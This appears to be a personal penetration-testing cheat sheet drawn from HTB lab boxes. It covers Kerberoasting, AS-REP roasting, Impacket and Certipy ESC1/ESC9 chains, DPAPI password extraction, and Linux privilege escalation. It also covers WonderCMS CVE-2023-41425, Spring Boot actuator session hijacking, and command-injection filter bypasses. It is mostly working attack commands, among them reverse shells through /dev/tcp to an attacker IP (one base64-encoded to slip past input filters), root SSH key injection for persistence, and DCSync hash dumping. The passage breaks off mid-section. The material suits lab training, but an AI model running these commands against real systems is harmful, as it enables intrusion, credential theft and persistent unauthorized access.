Flags/Notes - -Force = show hidden, system, and other normally hidden files - Mode column: d--hs = Directory, Hidden, System - Position 1: d = directory, - = file - Position 4: h = hidden - Position 5: s = system - Recycle Bin structure: - C:\$RECYCLE.BIN\{USER-SID}\ - $I files = metadata (148 bytes, contains original path/filename) - $R files = actual deleted content (recover these!) - Format-Hex reveals Unicode strings in binary metadata files - No naming convention for hidden files in Windows (unlike Linux .files) - Files are hidden via attributes, not filename patterns

Alternate Data Streams (ADS)

Command (CMD)

# Reveal alternate data streams on files in a directory
dir /R C:\Users\Administrator\Desktop

# Read an alternate data stream
more < filename.txt:hidden_stream:$DATA

# Example output of dir /R:
#   hm.txt
#                    34 hm.txt:root.txt:$DATA    ← hidden stream!

Command (PowerShell)

# List all streams on a file
Get-Item -Path C:\path\to\file -Stream *

# Read a specific stream
Get-Content -Path C:\path\to\file -Stream <stream_name>

# Search recursively for files with ADS
Get-ChildItem -Recurse | ForEach-Object { Get-Item $_.FullName -Stream * } | Where-Object { $_.Stream -ne ':$DATA' }

Why - NTFS Alternate Data Streams allow hiding data INSIDE a file - Normal dir and type don't show or read ADS - HTB/CTF boxes use ADS to hide flags (hint: "look deeper") - Real-world malware uses ADS to hide payloads

Flags/Notes - dir /R = only way to see ADS in cmd.exe - type CANNOT read ADS - use more < with the full stream path - ADS format: filename:streamname:$DATA - :$DATA is the default (main) stream - other streams are hidden - Always check ADS when a file says "look deeper" or flag seems missing - Common on HTB boxes for hiding root flags

Base64 Decoding in Config Files

Command

# Identify base64 (look for = padding at end)
cat config.ini | grep '='

# Decode base64 strings
echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d

# Decode from file
base64 -d encoded.txt > decoded.txt

Why - Config files often obfuscate passwords with base64 encoding - Common in WAPT, application configs, deployment scripts

Flags/Notes - Base64 strings often end with = or == (padding) - Not encryption, just encoding (easily reversible) - Always check config files for: password, secret, key, token fields

File Transfer Methods

Linux to Windows

Method 1: Python HTTP Server + PowerShell Download (Most Reliable)

# On Kali (attacker)
cd /path/to/files
python3 -m http.server 8080

# On Windows (PowerShell)
Invoke-WebRequest -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"
# Short alias
iwr -Uri "http://<attacker-ip>:8080/<file>" -OutFile "<file>"

Method 2: SCP with Kerberos (requires Kerberos auth setup)

# From Kali to Windows (if TGT is active)
scp 'user@hostname:C:/$PATH/$TO/$FILE' ./local-file

# Windows path format: C:/ (forward slashes, not backslashes)
# Protect $ in filenames with single quotes

Method 3: certutil (Built-in Windows downloader)

# On Windows (CMD or PowerShell)
certutil -urlcache -f http://<attacker-ip>:8080/<file> C:\path\to\output

Method 4: SMB (requires admin access to C$)

# From Kali
impacket-smbclient <domain>/<user>:'<pass>'@<IP>
use C$
cd path\to\directory
put <local-file>
get <remote-file>

Windows to Linux

Method 1: SCP (with Kerberos or password auth)

# From Kali
scp 'user@hostname:C:/$PATH/$FILE' ./destination

# Works with active Kerberos TGT or password auth

Method 2: SMB Mount (as client)

# On Kali, share a directory
impacket-smbserver share /path/to/share -smb2support

# On Windows, copy to share
copy C:\path\to\file \\<attacker-ip>\share\

Method 3: Base64 Encoding (for small text files only)

# On Windows (PowerShell)
$content = Get-Content -Path "C:\path\to\file" -Raw
[Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))

# Copy base64 output, paste on Kali
echo '<base64-string>' | base64 -d > file

Flags/Notes - Avoid base64 for binaries (files >100KB become unwieldy) - SCP Windows path format: C:/ (forward slashes), $ must be quoted - Invoke-WebRequest is PowerShell's wget/curl equivalent - certutil works on all Windows versions but may be flagged by AV - Python HTTP server port 8080 (or any high port) to avoid permission issues


Kerberoasting — Decision Tree & Command Guide

When to Kerberoast

Decision Triggers: - You have valid domain credentials (any authenticated user) - You see SPNs (Service Principal Names) in domain — GetUserSPNs is your first check - You're looking for crackable service account passwords - BloodHound shows no direct ACL abuse paths (Kerberoasting is a "lateral movement via password cracking" fallback)

When NOT to Kerberoast: - You already have the hash or admin access (skip it) - No SPNs exist (quick to confirm — just run the check) - All SPNs are on machine accounts (SYSTEM@ SPNs are usually uncrackable)

Decision Flow

Do you have valid AD creds?
  ├── NO → Try AS-REP Roasting (pre-auth disabled users: GetNPUsers)
  └── YES → Run GetUserSPNs
        ├── No SPNs found → Dead end, pursue other paths
        ├── SPNs on MACHINE accounts only → Usually uncrackable, skip
        └── SPNs on USER accounts → Request TGS tickets → Crack offline
              ├── Cracked → New credential! Validate and pivot
              └── Not cracked → Weak wordlist, try larger / different hash mode

Step 1: Sync Time (ALWAYS FIRST)

# Fix: disable the NTP service that keeps resetting your time
sudo systemctl stop systemd-timesyncd
sudo systemctl disable systemd-timesyncd
sudo ntpdate -s <DC_IP>
  • systemctl stop/disable = stops and prevents systemd-timesyncd from overwriting
  • ntpdate -s = silently sync your clock to the DC's time
  • Why: Kerberos requires client/server clocks within ±5 minutes (KRB_AP_ERR_SKEW)

Step 2: List Kerberoastable Accounts

impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP>
  • <domain>/<user>:'<pass>' = your authenticated credentials (format: domain/user:pass)
  • -dc-ip = IP of Domain Controller (must resolve Kerberos traffic)
  • No -request flag yet = lists SPNs without requesting tickets (fast recon)

What you'll see:

ServiceName   SPN                              Name         CipherType
----------    ---                              ----         ----------
SQL           MSSQLSvc/db01.domain.com:1433    sql_svc      RC4-HMAC
HTTP          HTTP/web01.domain.com            web_svc      AES256-CTS-HMAC-SHA1-96

Interpretation: - ServiceName = the service type - SPN = the full principal name (service/host:port) - Name = the user account backing this SPN — this is what you're attacking - CipherType = RC4-HMAC (mode 13100) is faster to crack than AES256 (mode 19700)

Step 3: Request and Capture TGS Hashes

impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request
  • -request = actually request TGS tickets (the crackable hashes)
  • Output: $krb5tgs$23$*... strings — save these directly

Save output:

impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request -output kerberoast_hashes.txt

  • -output = writes hashes to file for offline cracking

Step 3b: Targeted Kerberoast (attack one specific account)

python3 targetedKerberoast.py -d '<domain>' -u '<user>' -p '<pass>' --use-ldaps -t <target_user>
  • -d = domain name
  • -u / -p = your credentials
  • --use-ldaps = LDAPS (port 636) instead of LDAP — use when standard LDAP is blocked
  • -t = specific target account (attack only one SPN)

Step 4: Crack Hashes Offline

# RC4 hashes (mode 13100) — most common, faster to crack
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force

# AES256 hashes (mode 19700) — slower
hashcat -m 19700 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
  • -m 13100 = Kerberos TGS-REP etype 23 (RC4)
  • -m 19700 = Kerberos TGS-REP etype 18 (AES256)
  • --force = run even with performance warnings (fine for lab)

Cracked result:

$krb5tgs$23$*sql_svc*...:Password123!
- Everything after the last : is the plaintext password

Step 5: Validate New Credentials

nxc smb <DC_IP> -u <cracked_user> -p '<cracked_pass>'

AS-REP Roasting (Kerberoast's Companion)

When: No valid creds yet, or looking for accounts with pre-auth disabled

# Anonymous — no creds needed
impacket-GetNPUsers <domain>/ -no-pass -dc-ip <DC_IP> -format hashcat

# With a user list
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat
  • GetNPUsers = Get accounts with No Pre-auth (AS-REP Roasting)
  • -usersfile = file with one username per line to check
  • -no-pass = don't prompt for password (anonymous)
  • -format hashcat = output in crackable format
  • Crack mode: hashcat -m 18200

Impacket Suite — Tool Map & Decision Guide

Quick-Reference: Which Tool for Which Job

NEED TO...                          USE THIS TOOL
──────────────────────────────────────────────────────────
List Kerberoastable accounts?       impacket-GetUserSPNs
Find pre-auth disabled accounts?    impacket-GetNPUsers
Request Kerberos TGT?               impacket-getTGT
Dump AD hashes (DCSync)?            impacket-secretsdump
Connect to MSSQL?                   impacket-mssqlclient
Browse SMB shares?                  impacket-smbclient
Run commands on Windows?            impacket-psexec
Change object ownership?            impacket-owneredit
Modify ACL/DACL?                    impacket-dacledit
Relay NTLM auth?                    impacket-ntlmrelayx
Serve SMB share (capture hashes)?   impacket-smbserver

impacket-GetUserSPNs (Kerberoasting)

When: You have creds + want to find crackable service passwords

# List SPNs only (fast recon)
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP>

# List + Request TGS hashes (the actual attack)
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request

# Save hashes to file
impacket-GetUserSPNs <domain>/<user>:'<pass>' -dc-ip <DC_IP> -request -output hashes.txt

# With NT hash instead of password
impacket-GetUserSPNs <domain>/<user> -dc-ip <DC_IP> -hashes ':<NT_HASH>' -request
  • -hashes ':<NT_HASH>' = authenticate with hash (Pass-the-Hash)
  • Note the colon before the hash: :<hash> = NTLM-only hash (no LM prefix)

impacket-GetNPUsers (AS-REP Roasting)

When: No creds yet, or looking for accounts without pre-auth

# Anonymous enumeration
impacket-GetNPUsers <domain>/ -no-pass -dc-ip <DC_IP> -format hashcat

# With user list
impacket-GetNPUsers <domain>/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat

impacket-getTGT (Kerberos Ticket Acquisition)

When: Need a TGT for Kerberos-based attacks (PKINIT, Kerberos auth tools)

# Password auth
impacket-getTGT <domain>/<user>:'<pass>' -dc-ip <DC_IP>

# Hash auth
impacket-getTGT <domain>/<user> -dc-ip <DC_IP> -hashes ':<NT_HASH>'

# Certificate auth (PKINIT — after certipy exploitation)
impacket-getTGT <domain>/<user> -dc-ip <DC_IP> -cert-file <user>.pfx
  • Saves ticket to <user>.ccache
  • After running: export KRB5CCNAME=./<user>.ccache
  • Verify: klist

impacket-secretsdump (DCSync)

When: You have creds with replication rights → dump ALL domain hashes

# With password
impacket-secretsdump '<domain>/<user>:<pass>@<DC_HOSTNAME>'

# With NT hash
impacket-secretsdump '<domain>/<user>@<DC_HOSTNAME>' -hashes ':<NT_HASH>'

# Local dump only (on the machine, not DCSync)
impacket-secretsdump -local '<domain>/<user>:<pass>@<DC_HOSTNAME>'
  • -local = dump from local machine only (no DCSync, less noisy)
  • Without -local = performs DCSync (requires DS-Replication-Get-Changes)
  • Output includes: All user NT hashes, krbtgt hash (Golden Ticket material)

impacket-smbclient (SMB File Browser)

When: Browse shares, transfer files, enumerate content

impacket-smbclient '<domain>/<user>:<pass>@<DC_HOSTNAME>'

# Interactive commands:
# shares          → list shares
# use <share>     → connect to share
# ls              → list files
# get <file>      → download file
# put <file>      → upload file
# cd <dir>        → change directory

impacket-mssqlclient (MSSQL Connection)

When: MSSQL on target, have credentials

# AD authentication (user is domain account)
impacket-mssqlclient <domain>/<user>:'<pass>'@<IP>

# SQL authentication (user is local SQL account)
impacket-mssqlclient <user>:'<pass>'@<IP>
  • Key difference: Include <domain>/ prefix for AD auth, omit for SQL auth

impacket-owneredit (Change Object Ownership)

When: BloodHound shows WriteOwner → take ownership of target object

impacket-owneredit -action write -new-owner '<domain>\\<your_user>' -target '<target_user_or_group>' '<domain>/<your_user>:<pass>' -dc-ip <DC_IP>
  • -action write = change the owner (use read to see current owner)
  • -new-owner = who becomes the new owner (backslash notation: domain\\user)
  • -target = the AD object you're taking ownership of
  • Why you want this: As owner, you can then modify the DACL (next tool)

impacket-dacledit (Modify ACL Permissions)

When: You own an object (or have WriteDACL) → grant yourself permissions

impacket-dacledit -action write -rights 'WriteMembers' -target '<target_group>' -new-rights-principal '<domain>\\<your_user>' '<domain>/<your_user>:<pass>' -dc-ip <DC_IP>
  • -action write = add an ACE (use read to see current ACLs)
  • -rights = specific right to grant (WriteMembers, GenericWrite, ResetPassword)
  • -new-rights-principal = who gets the permission (backslash notation)
  • Chain: owneredit (take ownership) → dacledit (grant rights) → exploit the rights

impacket-psexec (Remote Execution)

When: Need to run commands on Windows without WinRM

impacket-psexec '<domain>/<user>:<pass>@<DC_HOSTNAME>' '<command>'

Certipy — Full Workflow Guide

The 5 Core Certipy Commands

certipy find        → Enumerate CAs, templates, vulnerabilities
certipy req         → Request a certificate from a CA
certipy auth        → Authenticate to DC using a certificate (get TGT/NT hash)
certipy shadow      → Shadow Credentials attack (extract NT hash non-destructively)
certipy account     → Modify AD account attributes (UPN manipulation for ESC9)

Step 1: Find (Enumeration)

certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>'

Common additions:

# Only enabled templates (reduces noise)
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>' -enabled

# Only vulnerable templates
certipy find -dc-ip <DC_IP> -u <user>@<domain> -p '<pass>' -enabled -vulnerable

# With hash auth
certipy find -dc-ip <DC_IP> -u <user>@<domain> -hashes ':<NT_HASH>' -enabled -vulnerable

  • -enabled = filter to only active templates
  • -vulnerable = only show templates with known ESC vulnerabilities
  • -hashes = authenticate with NT hash instead of password

Key output fields:

Template Name                       : ExampleTemplate
Enabled                             : True        ← Must be True
Client Authentication               : True        ← Must be True for ESC1
Enrollee Supplies Subject           : True        ← ESC1 trigger
Enrollment Permissions
  Enrollment Rights                 : DOMAIN\someuser  ← Can YOU enroll?
[!] Vulnerabilities
  ESC1                              : ...        ← Exploitable!
  ESC9                              : NoSecurityExtension ← UPN manipulation

Decision after certipy find:

What vulnerabilities are flagged?
  ├── ESC1 → Enrollee Supplies Subject + Client Auth
  │    └── certipy req with -upn (spoof UPN directly)
  ├── ESC9 → NoSecurityExtension flag
  │    └── certipy account update (change UPN) → req → auth → restore UPN
  ├── ESC4 → Template has writable properties
  │    └── certipy template modify (add ESC1) → req → auth
  ├── No ESC flagged → Check enrollment rights
  │    └── Can you enroll? If not, find ACL path to someone who can
  └── Only Shadow Credentials viable → certipy shadow

Step 2: Request a Certificate (certipy req)

ESC1 — Spoof UPN directly (you control Subject Alternative Name):

certipy req -dc-ip <DC_IP> -u <enrolling_user>@<domain> -p '<pass>' -ca <CA_NAME> -template <TEMPLATE_NAME> -upn administrator@<domain>

  • -u <enrolling_user> = user WITH enrollment rights on the template
  • -ca <CA_NAME> = exact CA name from certipy find output
  • -template <TEMPLATE_NAME> = exact template name from certipy find
  • -upn administrator@<domain> = the identity you're spoofing (target)
  • Output: administrator.pfx (certificate + private key)

ESC9 — UPN must be changed FIRST (see ESC9 section below)

Step 3: Authenticate with Certificate (certipy auth)

certipy auth -pfx <user>.pfx -dc-ip <DC_IP> -domain <domain>
  • -pfx = the certificate file from certipy req
  • Output: TGT (<user>.ccache) + NT hash extracted from PAC
  • NT hash: Copy this — it's your Pass-the-Hash credential

After auth:

# Option A: Use TGT (Kerberos auth)
export KRB5CCNAME=<user>.ccache
evil-winrm -i <DC_IP> -r <REALM> -u <user> -k

# Option B: Use NT hash (Pass-the-Hash)
evil-winrm -i <DC_IP> -u <user> -H '<NT_HASH>'

Step 4: Shadow Credentials (certipy shadow)

When: You have Write access to target's msDS-KeyCredentialLink (GenericWrite, GenericAll, or specific WriteProperty)

# All-in-one: create cert → add Key Credential → authenticate → extract hash
certipy shadow auto -u <your_user>@<domain> -p '<pass>' -account <target_user> -dc-ip <DC_IP>

# Manual workflow (if auto fails):
certipy shadow add -u <your_user>@<domain> -p '<pass>' -account <target_user> -dc-ip <DC_IP>
certipy shadow auth -username <target_user> -dc-ip <DC_IP>
  • shadow auto = automated full chain
  • -account <target_user> = the user whose hash you want (you must have Write access to this user)
  • shadow add = only adds Key Credential attribute
  • shadow auth = authenticates using the Key Credential
  • Output: NT hash for target_user

Common issue: If auto fails, try splitting into add + auth separately.

Step 5: Account Update (certipy account — for ESC9)

When: ESC9 vulnerability (NoSecurityExtension on template)

certipy account update -u <your_user>@<domain> -p '<pass>' -user <user_to_modify> -upn <identity_to_spoof> -dc-ip <DC_IP>
  • -user <user_to_modify> = the account YOU CONTROL (e.g., ca_operator)
  • -upn <identity_to_spoof> = who you want to become (e.g., Administrator)
  • You must have GenericWrite or equivalent over the -user target

ESC9 Full Attack Chain

# Step 1: Change controlled user's UPN to Administrator
certipy account update -u <your_user>@<domain> -p '<pass>' -user <controlled_user> -upn Administrator -dc-ip <DC_IP>

# Step 2: Request certificate (cert has Administrator UPN, but no objectSid)
certipy req -dc-ip <DC_IP> -u <controlled_user>@<domain> -p '<controlled_pass>' -ca <CA_NAME> -template <TEMPLATE_NAME>

# Step 3: RESTORE controlled user's UPN (cleanup)
certipy account update -u <your_user>@<domain> -p '<pass>' -user <controlled_user> -upn <controlled_user>@<domain> -dc-ip <DC_IP>

# Step 4: Authenticate → get Administrator's NT hash
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> -domain <domain>

Why ESC9 works: - Templates with NoSecurityExtension flag don't embed the user's objectSid - Normally KDC checks: "Does the SID in this cert match the account?" → denied if mismatch - Without SID: KDC authenticates by UPN alone → if UPN says "Administrator", you get Administrator's TGT - Attack direction: You modify the account you control, not the target - Step 3 (restore) prevents the controlled account from staying broken


DPAPI (Data Protection API) Credential Extraction

What: Windows encryption API for protecting user secrets (saved credentials, browser passwords, certificates, RDP passwords)

When to use: - Standard domain user with no ACL paths or dangerous Windows privileges - Found user credentials → check their DPAPI for admin account passwords - Administrative account exists but password unknown - cmdkey /list shows saved credentials

Attack flow: User's password → decrypt DPAPI master keys → decrypt credential blobs → extract plaintext credentials

Step 1: DPAPI Enumeration

Check for saved credentials:

# From Windows shell (evil-winrm, RDP, etc.)
cmdkey /list

# Check for DPAPI master keys
dir C:\Users\<username>\AppData\Roaming\Microsoft\Protect\ -Force

# Check for credential blobs
dir C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\ -Force
dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\ -Force

# Check for browser credentials (user-level DPAPI)
dir "C:\Users\<username>\AppData\Local\Google\Chrome\User Data\Default\Login Data"
dir "C:\Users\<username>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data"

Flags/Notes: - Master keys: %APPDATA%\Microsoft\Protect\<USER-SID>\<GUID> files - Credential blobs: %APPDATA%\Microsoft\Credentials\<GUID> or %LOCALAPPDATA%\Microsoft\Credentials\ - If cmdkey /list is empty, DPAPI may still have saved credentials - Look for both Roaming and Local AppData locations

Step 2: DPAPI Decryption (Method 1 - SharpDPAPI, easiest)

Download SharpDPAPI:

# On Kali
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/SharpDPAPI.exe

# Transfer to target via SMB
impacket-smbserver share . -smb2support -username test -password test

Run on Windows:

# Copy from Kali SMB share
copy \\<YOUR_VPN_IP>\share\SharpDPAPI.exe C:\Users\<username>\Documents\

# Decrypt all saved credentials
.\SharpDPAPI.exe credentials /password:<user_password>

# Decrypt browser passwords
.\SharpDPAPI.exe chrome /password:<user_password>
.\SharpDPAPI.exe edge /password:<user_password>

Flags/Notes: - credentials = decrypt Windows Credential Manager vaults - /password:<password> = user's plaintext password (needed to decrypt DPAPI master keys) - Automatically finds and decrypts all DPAPI-protected data for current user - Output: Target, Username, Password for all saved credentials

Step 3: DPAPI Decryption (Method 2 - dpapi.py manual, educational)

Download DPAPI files to Kali:

# From evil-winrm
download C:\Users\<username>\AppData\Roaming\Microsoft\Protect\<SID> /path/to/loot/dpapi/masterkeys
download C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\<GUID> /path/to/loot/dpapi/credential.blob

Decrypt master key:

cd /path/to/loot/dpapi

# Find the master key GUID (in the SID directory)
ls masterkeys/<USER-SID>/

# Decrypt master key with user's password
dpapi.py masterkey -file masterkeys/<USER-SID>/<MASTERKEY-GUID> -sid <USER-SID> -password '<user_password>'

Flags/Notes: - dpapi.py = Impacket tool for DPAPI operations - -file = path to master key file - -sid = user's SID (from directory name: S-1-5-21-...) - -password = user's plaintext password - Output: Decrypted master key in hex format (save this!)

Decrypt credential blob:

# Use decrypted master key from previous step
dpapi.py credential -file credential.blob -key <DECRYPTED_MASTERKEY_HEX>

Flags/Notes: - -file = credential blob file (GUID filename) - -key = decrypted master key in hex (from previous command) - Output: Decrypted credentials (username + password)

Step 4: Alternative Tools

pypykatz (Python):

# Decrypt with pypykatz
pypykatz dpapi masterkey <masterkey_file> <password>
pypykatz dpapi credential <credential_blob> <decrypted_masterkey_hex>

Mimikatz (Windows):

# Decrypt DPAPI with Mimikatz
mimikatz # dpapi::masterkey /in:<masterkey_file> /password:<password>
mimikatz # dpapi::cred /in:<credential_blob> /masterkey:<hex>

DPAPI Troubleshooting

CRYPTPROTECT_SYSTEM flag error: - If credential has CRYPTPROTECT_SYSTEM flag → encrypted by SYSTEM account, not user - Cannot decrypt with user password - Solution 1: Try browser credentials instead (user-level DPAPI) - Solution 2: Get SYSTEM access first, then decrypt - Solution 3: Use domain DPAPI backup keys (if Domain Admin)

No credentials found: - Check both AppData\Roaming\Microsoft\Credentials\ AND AppData\Local\Microsoft\Credentials\ - Try browser credential extraction (Chrome/Edge) - Check Windows Vault: AppData\Local\Microsoft\Vault\ and AppData\Roaming\Microsoft\Vault\ - User may not have saved any credentials

SharpDPAPI decryption fails: - Verify you're using correct password - Check if master key GUID matches the credential blob's guidMasterKey - Try dpapi.py manual method for more detailed error messages

DPAPI Use Cases

Common scenarios: 1. Regular user → Admin account: User saves admin password in DPAPI → extract for privilege escalation 2. Backup files contain user creds → DPAPI: Found config file with regular user password → use DPAPI to get admin password 3. Browser passwords: User logged into admin panels via browser → extract saved passwords 4. RDP credentials: Saved RDP connections often use DPAPI → extract connection passwords 5. Service account credentials: Applications save service account passwords in DPAPI

Attack pattern: - Find user credentials (backup files, config files, default passwords) - Login as that user (WinRM, RDP, etc.) - Extract DPAPI credentials - Look for admin account passwords or lateral movement opportunities

DPAPI Tools Summary

Tool Platform Use Case Pros Cons
SharpDPAPI Windows Quick extraction Automatic, finds everything Needs Windows shell
dpapi.py Kali/Linux Offline analysis Educational, shows process 2-step manual process
pypykatz Kali/Linux Offline analysis Python-based, versatile Different syntax
Mimikatz Windows Live extraction Full feature set May trigger AV

Recommendation: - Production: SharpDPAPI (fastest) - Learning: dpapi.py (understand the process) - Offline: dpapi.py or pypykatz (analyze downloaded files)


Linux Privilege Escalation — Internal Service Discovery

Command

# Quick-win checks first
id
sudo -l
find / -perm /4000 -type f 2>/dev/null

# THE KEY CHECK: internal services
ss -tlnp
# Alternative: netstat -tlnp

# Probe discovered internal service
curl -s http://127.0.0.1:<PORT>
curl -s http://127.0.0.1:<PORT> -u '<user>:<pass>'  # Try known creds (password reuse!)

Why - ss -tlnp reveals services bound to 127.0.0.1 that are invisible to external nmap scans - Internal web apps on easy Linux boxes commonly run as root - This is the highest-signal privesc check on Linux after sudo -l and SUID

Flags/Notes - ss = socket statistics (modern replacement for netstat) - -t = TCP, -l = listening, -n = numeric (no DNS), -p = show process - Look for: 127.0.0.1:<port> entries NOT seen in nmap (external) scan - Common ports: 8080, 8443, 3000, 9090, 5000 (web apps), 3306 (MySQL), 6379 (Redis) - Always try password reuse — SSH creds often work for internal web apps (HTTP Basic, login forms) - Learned from: HTB Sea


Linux Privilege Escalation — SSH Port Forwarding

Command

# Forward target's internal port to your Kali machine
ssh -L <local_port>:127.0.0.1:<remote_port> <user>@<target_ip>

# Example: forward internal 8080 to local 9090
ssh -L 9090:127.0.0.1:8080 [email protected]

# Then browse on Kali:
# http://127.0.0.1:9090
# Or use Burp proxy on 127.0.0.1:9090

Why - Internal services bound to 127.0.0.1 can't be reached directly from Kali - SSH tunnel makes them accessible as if they're on your local machine - Enables Burp Suite interception for web app testing

Flags/Notes - -L local_port:target_host:target_port = Local port forwarding - Traffic flow: Kali:9090 → SSH tunnel → Target:127.0.0.1:8080 - Tunnel dies on box reboot — must re-establish after reboot - Can also forward multiple ports: ssh -L 9090:127.0.0.1:8080 -L 9091:127.0.0.1:3306 user@target - Learned from: HTB Sea


Linux Privilege Escalation — Command Injection in Web Apps

Command

# Common injection separators to test (via curl or Burp)
# Semicolon — ends command, starts new one
log_file=/var/log/access.log;id

# Pipe — pipe output to new command
log_file=/var/log/access.log|id

# Newline — break to new line
log_file=/var/log/access.log%0aid

# Backtick — command substitution
log_file=/var/log/access.log`id`

# $() — command substitution
log_file=/var/log/access.log$(id)

Why - Web apps that pass user input to shell commands (system(), exec(), backticks) are vulnerable - Internal "admin" or "monitoring" apps are often poorly secured — they were "never meant to be exposed" - If the app runs as root, command injection = instant root RCE

Flags/Notes - Always use Burp to intercept requests first — don't guess parameter names with curl - Path traversal and command injection often coexist in the same parameter - Path traversal may read files but filter output (grep, regex) — command injection bypasses the filter - --data-urlencode in curl for payloads with special characters - If file read shows "no results" but no error → the app is filtering/grepping. Try ;id to break out - Learned from: HTB Sea


Linux Privilege Escalation — SSH Key Injection (Persistence)

Command

# When you have command injection as root but reverse shells are unstable:

# 1. Get your public key on Kali
cat ~/.ssh/id_ed25519.pub
# or generate from private key: ssh-keygen -y -f ~/.ssh/id_ed25519

# 2. Inject via command injection (curl example)
curl -s http://127.0.0.1:9090/ -u 'user:pass' \
  --data-urlencode 'param=value;mkdir -p /root/.ssh;echo <YOUR_PUBLIC_KEY> >> /root/.ssh/authorized_keys;chmod 600 /root/.ssh/authorized_keys' \
  -d 'submit='

# 3. SSH as root
ssh -i ~/.ssh/id_ed25519 root@<target>

Why - Reverse shells can be killed by .bashrc exit traps, process watchdogs, or unstable connections - SSH key injection provides stable, persistent, interactive access - Works even when PermitRootLogin is set to prohibit-password (key-only)

Flags/Notes - mkdir -p /root/.ssh = create dir if missing (safe) - >> authorized_keys = append (don't overwrite existing keys) - chmod 600 = required permissions (SSH refuses if too open) - When to use over reverse shell: - Shell connects then immediately exits - .bashrc contains exit/logout commands - Connection is unstable or drops after seconds - You need persistent access across reboots - Doesn't work if: PermitRootLogin no in sshd_config, or SSH service not running - Learned from: HTB Sea


WonderCMS Exploitation (CVE-2023-41425)

Command

# Identify WonderCMS: directory structure + OSINT
# data/, messages/, plugins/, themes/ + PHP + no DB port = flat-file CMS
# Check page source for author names → Google → WonderCMS community

# Get exploit
searchsploit -m php/remote/52271.py
dos2unix 52271.py  # searchsploit copies often have encoding issues

# Terminal 1: HTTP server for XSS payload
python3 -m http.server <port>

# Terminal 2: Run exploit
python3 52271.py --url http://<target>/loginURL --xip <kali_ip> --xport <port>

# Terminal 3: Listener
rlwrap nc -lnvp <port>

# After webshell uploads, trigger reverse shell:
curl -s 'http://<target>/themes/malicious/malicious.php' --get \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<kali_ip>/<port> 0>&1'"

Why - WonderCMS 3.4.2 has stored XSS in the contact form "Website" field - When admin views submissions, JS payload executes → uploads PHP webshell as theme - Webshell lands at /themes/malicious/malicious.php

Flags/Notes - Identification chain: directory fingerprint → author OSINT → CMS community → theme match - dos2unix = fix searchsploit encoding (silent failure without this) - Credential location: database.json in data/ dir (bcrypt $2y$ hashes, hashcat -m 3200) - Contact form "Website" field = XSS injection vector - Exploit requires 3 terminals: HTTP server + exploit script + listener - Learned from: HTB Sea


Spring Boot Actuator Exploitation

Command

# 1. Fingerprint: Whitelabel Error Page confirms Spring Boot
curl -s http://target/invalidpath
# "Whitelabel Error Page" → Spring Boot confirmed

# 2. Check actuator endpoints
curl -s http://target/actuator | python3 -m json.tool

# 3. Steal session (session hijacking — no password needed!)
curl -s http://target/actuator/sessions | python3 -m json.tool
# Returns: {"SESSION_ID": "username", ...}

# 4. Replace JSESSIONID cookie in browser DevTools → navigate to /admin
# Browser: DevTools → Storage/Application → Cookies → set JSESSIONID = stolen session ID

# 5. Other valuable endpoints
curl -s http://target/actuator/env | python3 -m json.tool    # env vars, secrets
curl -s http://target/actuator/mappings | python3 -m json.tool  # all API routes

Why - Spring Boot Actuator is a built-in management module — devs enable it for debugging and forget to lock it down - /actuator/sessions leaks active session IDs mapped to usernames → trivial session hijacking - /actuator/env can leak database passwords, API keys, Spring datasource credentials - /actuator/mappings reveals all API endpoints including hidden ones

Flags/Notes - Detection chain: Whitelabel Error Page → Spring Boot → check /actuator → check each sub-endpoint - JSESSIONID cookie swap in browser DevTools is all it takes to impersonate another user - Internal URLs in actuator response (e.g., localhost:8080) confirm nginx reverse proxy architecture - If no actuator, try /actuator/health alone — sometimes only health is exposed - If it fails: endpoints might be behind auth or disabled. Check /actuator/mappings via other means, or try Spring Boot RCE exploits - Learned from: HTB CozyHosting


Command Injection — Whitespace Bypass & Base64 Encoding

Command

# When spaces are filtered ("can't contain whitespace" errors):
# Use ${IFS} — Internal Field Separator, evaluates to space at runtime

# Basic ${IFS} bypass
username=admin;cat${IFS}/etc/passwd

# Base64 encoding bypass (avoids ALL special characters)
# Step 1: Encode your payload
echo -ne "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'" | base64 -w0

# Step 2: Inject with ${IFS} replacing spaces, base64 decoding at runtime
curl http://target/endpoint \
  --data-urlencode 'host=127.0.0.1' \
  --data-urlencode 'username=admin;`echo${IFS}BASE64_STRING|base64${IFS}-d|bash`;#'

Why - Many web apps filter spaces but don't filter ${IFS} — it's a variable, not a literal space - Base64 encoding sidesteps ALL special character issues (spaces, >&, quotes, pipes) - The # at the end comments out any text the server appends (e.g., @hostname in SSH commands)

Flags/Notes - ${IFS} = bash Internal Field Separator (space/tab/newline). Bypasses string-level whitespace checks - -w0 on base64 = no line wrapping (line breaks would break the injection) - --data-urlencode in curl = properly encodes $, {, ; for transport - Bad fd number error = server shell is sh/dash, NOT bash. /dev/tcp/ is bash-only → wrap in bash -c '...' - # comment trick = neutralizes trailing characters the server appends after your input - Backticks vs $() = both work for command substitution, but backticks are sometimes less filtered - Payload anatomy: admin; (terminate SSH) + `echo B64|base64 -d|bash` (execute) + ;# (clean up) - Learned from: HTB CozyHosting


Spring Boot JAR Extraction — Credential Harvesting

Command

# On target box after initial foothold:

# 1. Find the JAR
